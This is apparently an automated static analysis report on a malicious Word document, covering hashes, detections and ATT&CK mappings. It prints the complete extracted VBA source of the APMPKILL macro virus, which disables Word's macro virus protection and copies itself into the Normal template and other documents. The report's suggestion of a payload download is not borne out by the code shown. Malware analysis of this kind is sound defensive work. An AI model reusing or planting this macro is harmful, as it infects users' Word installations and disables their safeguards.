Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f2b223c61f1459b7…

MALICIOUS

Office (OLE)

88.0 KB Created: 2018-03-13 12:36:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 90191fce6b3a309fa9324f394295607b SHA-1: 5feb62725b16a705d30e2d7ed68c69f165d941e6 SHA-256: f2b223c61f1459b7227c798695183d156844c7c53d26b7fd2ff61e5fe69ec41d
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing VBA macros, specifically a Document_Open macro designed to execute code upon opening. The macro attempts to overwrite or insert code into the NormalTemplate, suggesting an attempt to establish persistence or download a secondary payload. The ClamAV detection 'Doc.Macro.APMPKILL-6097118-0' further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1022 bytes
SHA-256: 145148669f9ba8a89243c88d9f72dab8e71b42f5e2b5e3250f98c5dad2a24ae3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Application.Options.VirusProtection = False
   Application.Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.vbcomponents(1).codemodule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.vbcomponents(1).codemodule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.vbcomponents(1).codemodule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .countoflines
          .insertlines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub